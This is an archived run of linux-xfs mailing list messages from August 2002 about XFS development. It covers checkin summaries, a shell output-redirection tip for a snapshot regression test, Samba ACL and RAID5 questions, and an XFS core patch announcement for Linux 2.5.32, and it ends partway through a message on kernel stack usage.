together a very quick example of what I plan to do at: >> http://www.chowhouse.com/~james/xfs/checklist.html >> it covers the two checkins today (oops - Steve just checked in a third). >> Tell me if you think this is a good thing or a waste of time. >> James Rich Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Tue Aug 27 16:04:04 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 16:04:09 -0700 (PDT) Received: from stumpy.chowhouse.com (root@stumpy.chowhouse.com [209.180.91.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RN44tG028406 for ; Tue, 27 Aug 2002 16:04:04 -0700 Received: from localhost (james@localhost) by stumpy.chowhouse.com (8.11.6/8.11.3) with ESMTP id g7RN7Xh07291; Tue, 27 Aug 2002 17:07:33 -0600 Date: Tue, 27 Aug 2002 17:07:33 -0600 (MDT) From: James Rich To: Alexander Kabaev cc: linux-xfs@oss.sgi.com Subject: Re: Hacking XFS (was Re: reserve space for root?) In-Reply-To: <20020827185537.68c2a006.ak03@gte.com> Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 77 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: james@stumpy.chowhouse.com Precedence: bulk X-list: linux-xfs On Tue, 27 Aug 2002, Alexander Kabaev wrote: > > I've put together a very quick example of what I plan to do at: > > > > http://www.chowhouse.com/~james/xfs/checklist.html > > Pretty cool. If only it also listed all affected files.... How about a link to the mailing list archives of the original TAKE messages? Or I could link to the files in CVSweb (a little more work, but probably not too bad)? James Rich From owner-linux-xfs@oss.sgi.com Tue Aug 27 16:04:32 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 16:04:34 -0700 (PDT) Received: from newmail.emergence.com (newmail.emergence.com [209.5.172.115]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RN4WtG028518 for ; Tue, 27 Aug 2002 16:04:32 -0700 Received: from relative.emergence.com ([209.5.172.43] helo=emergence.com) by newmail.emergence.com with esmtp (TLSv1:RC4-MD5:128) (Exim 3.34 #1) id 17jpRT-0000GI-00; Tue, 27 Aug 2002 17:08:11 -0600 Message-ID: <3D6C0660.1020009@emergence.com> Date: Tue, 27 Aug 2002 17:08:16 -0600 From: Michael Best User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Greg Freemyer CC: Nathan Scott , linux-xfs@oss.sgi.com Subject: Re: Snapshot regression test [WAS: re[6]: Summary - Snapshot Effort] References: <20020827224340.DMIR2113.imf22bis.bellsouth.net@TAZ2> X-Enigmail-Version: 0.65.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 78 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mbest@emergence.com Precedence: bulk X-list: linux-xfs If you want your script to send all output to /dev/null this works pretty good, I have tried several things to turn off redirection to null, but have come up empty. exec >/dev/null 2>&1 # Send all output to /dev/null The subshell thing was one I had considered, but I experimented with it early and wasn't sure about how you were killing the subprocess so I abandoned investigation of that. Anyhow, with more of the code I'm sure I could come up with something. My test script which I got working was something along the lines of: exec >/dev/null 2>&1 while true; do sleep 1 done & wait # something to turn off redirection Anyhow, good luck. -Mike From owner-linux-xfs@oss.sgi.com Tue Aug 27 16:06:11 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 16:06:13 -0700 (PDT) Received: from h132-197-179-27.gte.com (h132-197-179-27.gte.com [132.197.179.27]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RN6AtG029248 for ; Tue, 27 Aug 2002 16:06:10 -0700 Received: from kanpc.gte.com (localhost [IPv6:::1]) by h132-197-179-27.gte.com (8.12.5/8.12.5) with ESMTP id g7RN9Ymr056690; Tue, 27 Aug 2002 19:09:34 -0400 (EDT) (envelope-from ak03@kanpc.gte.com) Received: (from ak03@localhost) by kanpc.gte.com (8.12.5/8.12.5/Submit) id g7RN9Yni056689; Tue, 27 Aug 2002 19:09:34 -0400 (EDT) Date: Tue, 27 Aug 2002 19:09:34 -0400 From: Alexander Kabaev To: James Rich Cc: linux-xfs@oss.sgi.com Subject: Re: Hacking XFS (was Re: reserve space for root?) Message-Id: <20020827190934.6be5bace.ak03@gte.com> In-Reply-To: References: <20020827185537.68c2a006.ak03@gte.com> Organization: Verizon Data Services X-Mailer: Sylpheed version 0.8.1claws120 (GTK+ 1.2.10; i386-portbld-freebsd5.0) Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 79 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ak03@gte.com Precedence: bulk X-list: linux-xfs > How about a link to the mailing list archives of the original TAKE > messages? Or I could link to the files in CVSweb (a little more work, > but probably not too bad)? Either way will be great. -- Alexander Kabaev From owner-linux-xfs@oss.sgi.com Tue Aug 27 16:13:17 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 16:13:18 -0700 (PDT) Received: from stumpy.chowhouse.com (root@stumpy.chowhouse.com [209.180.91.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RNDGtG029902 for ; Tue, 27 Aug 2002 16:13:17 -0700 Received: from localhost (james@localhost) by stumpy.chowhouse.com (8.11.6/8.11.3) with ESMTP id g7RNGh907451; Tue, 27 Aug 2002 17:16:43 -0600 Date: Tue, 27 Aug 2002 17:16:43 -0600 (MDT) From: James Rich To: Greg Freemyer cc: linux-xfs@oss.sgi.com Subject: re[2]: Hacking XFS (was Re: reserve space for root?) In-Reply-To: <20020827230303.EAHS2113.imf22bis.bellsouth.net@TAZ2> Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 80 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: james@stumpy.chowhouse.com Precedence: bulk X-list: linux-xfs On Tue, 27 Aug 2002, Greg Freemyer wrote: > One general comment, weekly or daily summaries are nice, but a > cumulative list is even better. I could keep each weekly summary which could then be grouped together for a cumulative summary. Not any more work really. > You could start a new cumulative list every time a release came out. > > If you decide to go that way, I think a ID # would be good to have for > each line. > > That way, the experts can tell us, get the xfs 1.1 release with the #1 > and #2 patches and see if it fixes your problem. The only problem there is that I don't think patches are available for each individual checkin. And since SGI uses its own internal source control system I'm not sure the individual checkins could be pulled from CVS. So you wouldn't be able to get (for example) release 1.2 with patches 20020914-3 and 20020923-1. I might be wrong, though. Numbering the summaries wouldn't be hard, but a link to the CVSweb files would solve two suggestions: a list of the files changed and an ID number (revision number) of the change. So I guess I'll just link to CVSweb. James Rich From owner-linux-xfs@oss.sgi.com Tue Aug 27 16:27:01 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 16:27:04 -0700 (PDT) Received: from imf28bis.bellsouth.net (mail028.mail.bellsouth.net [205.152.58.68]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RNR0tG030502 for ; Tue, 27 Aug 2002 16:27:00 -0700 Received: from TAZ2 ([67.35.80.69]) by imf28bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020827233021.ERMX18700.imf28bis.bellsouth.net@TAZ2>; Tue, 27 Aug 2002 19:30:21 -0400 Date: Tue, 27 Aug 2002 19:29:06 -0400 From: Greg Freemyer Subject: re[2]: Snapshot regression test [WAS: re[6]: Summary - Snapshot Effort] To: Michael Best cc: Nathan Scott , Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-type: text/plain Message-Id: <20020827233021.ERMX18700.imf28bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7RNR1tG030504 X-archive-position: 81 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs Mike / Nathan, I think I have it. Thanks for your efforts. Especially your Mike. Putting the exec statement inside my timeout logic allows me to echo a failure message, then disable output and start killing things. I have only tested in my test script, but I will be trying it in my 068 script soon. Greg >> If you want your script to send all output to /dev/null this works >> pretty good, I have tried several things to turn off redirection to >> null, but have come up empty. >> exec >/dev/null 2>&1 # Send all output to /dev/null >> The subshell thing was one I had considered, but I experimented with it >> early and wasn't sure about how you were killing the subprocess so I >> abandoned investigation of that. Anyhow, with more of the code I'm sure >> I could come up with something. >> My test script which I got working was something along the lines of: >> exec >/dev/null 2>&1 >> while true; do >> sleep 1 >> done & >> wait >> # something to turn off redirection >> Anyhow, good luck. >> -Mike Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Tue Aug 27 16:35:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 16:35:56 -0700 (PDT) Received: from stumpy.chowhouse.com (root@stumpy.chowhouse.com [209.180.91.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RNZstG031002 for ; Tue, 27 Aug 2002 16:35:55 -0700 Received: from localhost (james@localhost) by stumpy.chowhouse.com (8.11.6/8.11.3) with ESMTP id g7RNdNx07770; Tue, 27 Aug 2002 17:39:23 -0600 Date: Tue, 27 Aug 2002 17:39:23 -0600 (MDT) From: James Rich To: Alexander Kabaev cc: linux-xfs@oss.sgi.com Subject: Re: Hacking XFS (was Re: reserve space for root?) In-Reply-To: <20020827190934.6be5bace.ak03@gte.com> Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 82 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: james@stumpy.chowhouse.com Precedence: bulk X-list: linux-xfs On Tue, 27 Aug 2002, Alexander Kabaev wrote: > > > How about a link to the mailing list archives of the original TAKE > > messages? Or I could link to the files in CVSweb (a little more work, > > but probably not too bad)? > > Either way will be great. Okay, I linked the descriptions to the original TAKE messages in the mail archive. I'll look at how to link to CVSweb in a nice way. James Rich From owner-linux-xfs@oss.sgi.com Tue Aug 27 16:43:19 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 16:43:21 -0700 (PDT) Received: from questra.com (IDENT:qmailr@ns1.questra.com [64.132.48.186]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RNhJtG031506 for ; Tue, 27 Aug 2002 16:43:19 -0700 Received: (qmail 15714 invoked from network); 27 Aug 2002 23:46:48 -0000 Received: from hades.roc.questra.com (HELO questra.com) (64.132.48.226) by ns1.questra.com with SMTP; 27 Aug 2002 23:46:48 -0000 Received: (qmail 12956 invoked from network); 27 Aug 2002 23:46:48 -0000 Received: from odio.roc.questra.com (10.20.8.26) by hades.roc.questra.com with SMTP; 27 Aug 2002 23:46:48 -0000 Received: (from mcdermot@localhost) by odio.roc.questra.com (8.11.6/8.11.4) id g7RNkmI26299 for linux-xfs@oss.sgi.com; Tue, 27 Aug 2002 19:46:48 -0400 Date: Tue, 27 Aug 2002 19:46:48 -0400 From: Scott McDermott To: linux-xfs@oss.sgi.com Subject: XFS/Linux with SAMBA ACLs (replace NT server) ? Message-ID: <20020827194648.D22718@odio.roc.questra.com> Mail-Followup-To: Scott McDermott , linux-xfs@oss.sgi.com Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i Content-Transfer-Encoding: 8bit X-archive-position: 83 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mcdermot@questra.com Precedence: bulk X-list: linux-xfs Recently I went through the trouble of getting SAMBA to build with support for XFS ACLs. I've a few questions regarding the combination Linux-2.4, XFS-1.1 and SAMBA-2.2. 1. the current kernel I am using is the kernel-2.4.18-SGI_XFS_1.1.i686.rpm found on oss.sgi.com. However, there are several important patches for other things I'm doing which are found in later kernels, especially important NFS patches (which do affect us), but some other stuff as well. I would like to use a 2.4.20pre kernel but I have read in list archives that porting XFS-1.1 (or current CVS) to this is difficult because of some aio and other changes. Will SGI or anyone else be rolling up a recent kernel any time soon which properly merges their XFS tree with recent 2.4-tree changes? I would attempt this myself but would probably break something in some subtle fashion that I would only find out when files become corrupted. 2. Does anyone have any idea how close the next release of XFS is (i.e., 1.2 or what have you)? 3. am I better off using XFS from CVS or the XFS-1.1 release? I assume XFS-1.1 has been regressed and there is some known list of bugs somewhere perhaps? It looks to me like several important changes are in CVS version when compared to the release-1.1. 4. does anyone currently use SAMBA with ACL support on Linux-2.4 with XFS, in production use, that can relate how stable this combination is? In particular for Windows clients, and with oplock support? 5. There have in the past (several months ago anyways) been lockup/uptime problems with Linux-2.4 NFSv3 exports of XFS volumes. Is anyone using this combination in production presently, and if so do they have any problems? 6. Am I correct that XFS filesystems do not work off a Linux-2.4 native software RAID volume, correct? Thank you for any answers to these questions. From owner-linux-xfs@oss.sgi.com Tue Aug 27 16:46:17 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 16:46:19 -0700 (PDT) Received: from questra.com (IDENT:qmailr@ns1.questra.com [64.132.48.186]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7RNkGtG031899 for ; Tue, 27 Aug 2002 16:46:17 -0700 Received: (qmail 15737 invoked from network); 27 Aug 2002 23:49:46 -0000 Received: from hades.roc.questra.com (HELO questra.com) (64.132.48.226) by ns1.questra.com with SMTP; 27 Aug 2002 23:49:46 -0000 Received: (qmail 13039 invoked from network); 27 Aug 2002 23:49:46 -0000 Received: from odio.roc.questra.com (10.20.8.26) by hades.roc.questra.com with SMTP; 27 Aug 2002 23:49:46 -0000 Received: (from mcdermot@localhost) by odio.roc.questra.com (8.11.6/8.11.4) id g7RNnk626374 for linux-xfs@oss.sgi.com; Tue, 27 Aug 2002 19:49:46 -0400 Date: Tue, 27 Aug 2002 19:49:46 -0400 From: Scott McDermott To: linux-xfs@oss.sgi.com Subject: Re: XFS/Linux with SAMBA ACLs (replace NT server) ? Message-ID: <20020827194946.E22718@odio.roc.questra.com> Mail-Followup-To: Scott McDermott , linux-xfs@oss.sgi.com References: <20020827194648.D22718@odio.roc.questra.com> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020827194648.D22718@odio.roc.questra.com>; from mcdermot@questra.com on Tue, Aug 27, 2002 at 07:46:48PM -0400 Content-Transfer-Encoding: 8bit X-archive-position: 84 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mcdermot@questra.com Precedence: bulk X-list: linux-xfs Scott McDermott on Tue 27/08 19:46 -0400: > 6. Am I correct that XFS filesystems do not work off a Linux-2.4 > native software RAID volume, correct? I meant, RAID-5, I know that RAID-1 works. From owner-linux-xfs@oss.sgi.com Tue Aug 27 17:06:49 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 17:06:52 -0700 (PDT) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S06mtG000526 for ; Tue, 27 Aug 2002 17:06:49 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id RAA04849 for ; Tue, 27 Aug 2002 17:10:15 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id KAA00226; Wed, 28 Aug 2002 10:08:51 +1000 (EST) Date: Wed, 28 Aug 2002 10:08:51 +1000 (EST) From: Nathan Scott Message-Id: <200208280008.KAA00226@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com, agruen@suse.de Subject: TAKE - acl.5 X-archive-position: 85 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Date: Tue Aug 27 17:08:11 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:126093a cmd/acl/man/man5/acl.5 - 1.14 - Update from AG - corrects the description of the access check algorithm wrt group objects. From owner-linux-xfs@oss.sgi.com Tue Aug 27 17:25:48 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 17:25:52 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S0PltG001063 for ; Tue, 27 Aug 2002 17:25:47 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id TAA31183; Tue, 27 Aug 2002 19:29:11 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id TAA37634; Tue, 27 Aug 2002 19:29:11 -0500 (CDT) Date: Tue, 27 Aug 2002 19:27:18 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Alexander Kabaev cc: James Rich , , , Subject: Re: Hacking XFS (was Re: reserve space for root?) In-Reply-To: <20020827185537.68c2a006.ak03@gte.com> Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 86 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Hey, I like it. I think it begs for a script, though - you may get tired of this on the days when 8 or so TAKE messages fly by! At one point Russell had a procmail filter that would attach diffs to TAKE messages, by querying CVS I think - automation like that would make your life easier. If you want to do this, and keep it up to date, getting a page (or pages) on oss.sgi.com would be no problem. Thanks, -Eric On Tue, 27 Aug 2002, Alexander Kabaev wrote: > > Hi, > > > I've put together a very quick example of what I plan to do at: > > > > http://www.chowhouse.com/~james/xfs/checklist.html > > Pretty cool. If only it also listed all affected files.... > > -- > Alexander Kabaev > > From owner-linux-xfs@oss.sgi.com Tue Aug 27 17:40:23 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 17:40:29 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S0eHtG001622 for ; Tue, 27 Aug 2002 17:40:23 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id TAA31139 for ; Tue, 27 Aug 2002 19:43:42 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id TAA56289 for ; Tue, 27 Aug 2002 19:43:42 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7S0fnM08055; Tue, 27 Aug 2002 19:41:49 -0500 Message-Id: <200208280041.g7S0fnM08055@stout.americas.sgi.com> Date: Tue, 27 Aug 2002 19:41:49 -0500 Subject: TAKE - Fix 2.5 module build X-archive-position: 87 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Some day we'll convince Steve to test his module builds. ;-) Christoph found this one. Date: Tue Aug 27 17:41:53 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.5.x-xfs/workarea The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:126165a linux/kernel/ksyms.c - 1.160 - Export mark_page_accessed to get modules building again From owner-linux-xfs@oss.sgi.com Tue Aug 27 18:06:52 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 18:06:58 -0700 (PDT) Received: from mta03ps.bigpond.com (mta03ps.bigpond.com [144.135.25.135]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S16otG002282 for ; Tue, 27 Aug 2002 18:06:51 -0700 Message-Id: <200208280106.g7S16otG002282@oss.sgi.com> Received: from there ([144.135.25.81]) by mta03ps.bigpond.com (Netscape Messaging Server 4.15 mta03ps May 23 2002 23:53:28) with SMTP id H1J46G00.9YK; Wed, 28 Aug 2002 11:01:28 +1000 Received: from CPE-203-51-226-46.qld.bigpond.net.au ([203.51.226.46]) by psmam05.mailsvc.email.bigpond.com(MailRouter V3.0n 107/6061697); 28 Aug 2002 11:01:28 Content-type: text/plain; charset=us-ascii From: Adrian Head To: Scott McDermott , linux-xfs@oss.sgi.com Subject: Re: XFS/Linux with SAMBA ACLs (replace NT server) ? Date: Wed, 28 Aug 2002 11:01:24 +1000 X-Mailer: KMail [version 1.3.1] References: <20020827194648.D22718@odio.roc.questra.com> In-Reply-To: <20020827194648.D22718@odio.roc.questra.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-archive-position: 88 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ahead@bigpond.net.au Precedence: bulk X-list: linux-xfs On Wed, 28 Aug 2002 09:46, Scott McDermott wrote: >Will SGI or anyone else be rolling up a recent kernel > any time soon which properly merges their XFS tree with recent > 2.4-tree changes? The CVS for 2.4.x usually tracks 2.4.x stable releases; as the SGI guys are putting all their effort into keeping up with the 2.5.x kernel tree. If you are feeling up to it you could attempt to merge the 2.4.19 split patches into 2.4.20pre. > > 2. Does anyone have any idea how close the next release of XFS is (i.e., > 1.2 or what have you)? There was an email on the mailing list last week (I think) from Steve that explained that there are a couple of outstanding issues and corner cases that need to be addressed before another "official" release. > 3. am I better off using XFS from CVS or the XFS-1.1 release? Personally - the CVS is the more up-to-date; however, like everything test it first before production. In my experience the CVS tree is very stable compared to other CVS trees because only tidy-ups and fixes go into it. AFAIK all development is going into the 2.5.x tree. >I assume > XFS-1.1 has been regressed and there is some known list of bugs > somewhere perhaps? It looks to me like several important changes are > in CVS version when compared to the release-1.1. > > 4. does anyone currently use SAMBA with ACL support on Linux-2.4 with > XFS, in production use, that can relate how stable this combination > is? In particular for Windows clients, and with oplock support? I'd have to let someone else answer this for you. > 5. There have in the past (several months ago anyways) been > lockup/uptime problems with Linux-2.4 NFSv3 exports of XFS volumes. > Is anyone using this combination in production presently, and if so > do they have any problems? If I remember correctly these were fixed or at least disapeared. Again - I'm running this but not in a heavy use environment. I'll have to let someone else answer from their experiences. > 6. Am I correct that XFS filesystems do not work off a Linux-2.4 native > software RAID volume, correct? I am running XFS on md SW RAID0,1 & 5. The issue is that in XFS the log writes can be of differing sizes and the RAID5 code flushes buffers, whenever this occurs. It runs but not at full performance. The v2 log format is an attempt to fix this problem as it will force writes to the size specified when mkfs.xfs. The got-ya with v2 logs at the moment is that in some cases using the default size deadlocks. There have been emails on the list explaining how to increase the size to get around this. > Thank you for any answers to these questions. No worries -- Adrian Head (Public Key available on request.) From owner-linux-xfs@oss.sgi.com Tue Aug 27 18:08:56 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 18:08:58 -0700 (PDT) Received: from verein.lst.de (verein.lst.de [212.34.181.86]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S18stG002620 for ; Tue, 27 Aug 2002 18:08:55 -0700 Received: (from hch@localhost) by verein.lst.de (8.11.6/8.11.6) id g7S1CMq29262; Wed, 28 Aug 2002 03:12:22 +0200 Date: Wed, 28 Aug 2002 03:12:22 +0200 From: Christoph Hellwig To: linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org Cc: linux-xfs@oss.sgi.com Subject: [PATCH] XFS core for 2.5.32 Message-ID: <20020828031222.A29229@lst.de> Mail-Followup-To: Christoph Hellwig , linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-xfs@oss.sgi.com Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Content-Transfer-Encoding: 8bit X-archive-position: 89 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: linux-xfs This patch includes only the core functionality of the SGI XFS filesystem for Linux 2.5.32. It does NOT include changes for Posix ACLs, dmapi, kdb or other code included in the XFS CVS tree. The patch adds the self-contained XFS code and makes almost no modifications to existing kernel code. Diffstat output with new files stripped: Documentation/Changes | 16 Documentation/filesystems/00-INDEX | 2 MAINTAINERS | 8 fs/Config.help | 66 fs/Config.in | 9 fs/Makefile | 1 include/linux/sched.h | 1 include/linux/sysctl.h | 2 kernel/ksyms.c | 1 Please send any comments to the patch or xfs code to linux-xfs@oss.sgi.com. We know that there are still issues left that need addressing, but feel free to add your items. The patches can be found at: ftp://ftp.kernel.org/pub/linux/kernel/people/hch/patches/v2.5/2.5.32/linux-2.5.32-xfs.patch.gz ftp://ftp.kernel.org/pub/linux/kernel/people/hch/patches/v2.5/2.5.32/linux-2.5.32-xfs.patch.bz2 From owner-linux-xfs@oss.sgi.com Tue Aug 27 18:26:04 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 18:26:06 -0700 (PDT) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S1Q2tG003278 for ; Tue, 27 Aug 2002 18:26:03 -0700 Received: from nodin.corp.sgi.com (nodin.corp.sgi.com [192.26.51.193]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id SAA02691 for ; Tue, 27 Aug 2002 18:29:32 -0700 (PDT) mail_from (kaos@sgi.com) Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id g7S1SUpx19219189; Tue, 27 Aug 2002 18:28:31 -0700 (PDT) Received: by kao2.melbourne.sgi.com (Postfix, from userid 16331) id 615CB300087; Wed, 28 Aug 2002 11:28:28 +1000 (EST) Received: from kao2.melbourne.sgi.com (localhost [127.0.0.1]) by kao2.melbourne.sgi.com (Postfix) with ESMTP id E0EE48F; Wed, 28 Aug 2002 11:28:28 +1000 (EST) X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4 From: Keith Owens To: Danny Cox Cc: XFS Mailing List Subject: Re: Large Stack Usage in One More Function In-reply-to: Your message of "27 Aug 2002 12:58:01 -0400." <1030467482.1611.14.camel@wiley> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Date: Wed, 28 Aug 2002 11:28:23 +1000 Message-ID: <31722.1030498103@kao2.melbourne.sgi.com> Content-Transfer-Encoding: 8bit X-archive-position: 90 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sgi.com Precedence: bulk X-list: linux-xfs On 27 Aug 2002 12:58:01 -0400, Danny Cox wrote: > After having read of the stack "issues" awhile back, and then having an >idea or two gel in my head (it didn't hurt much ;-), I put them >together, and found that xfs_ioctl() is using 752 bytes of stack. I >chose 512 as the number of bytes above which to complain about, and >looking at the code, I'd guess that the var "vattr_t va" struct is the >main culprit. > > This is just a caution, and things may be just fine, of course. > > The ideas were: > > 1) with the KDB patch, you can compile the kernel with frame pointers. > 2) within the "function prelude", the frame pointer has N bytes >subtracted from it. This is the amount of stack that the function uses, >plus some slop (perhaps). > 3) there exists a module for Perl that can disassemble i386 >instructions. > > So, I have a Perl script that will accept vmlinux and System.map >arguments, and look at every function mentioned for the "sub esp,N" >within the first 10 instructions after the function beginning. > > It's a heuristic, it's static, it only looks at functions compiled in, >and says nothing about the dynamic system, but can point out functions >that use large amounts of stack. There is a simpler way of doing it. Script kernel.stack (below in plain text, the new mailer on oss.sgi.com is stripping attachments). Run as 'kernel.stack vmlinux 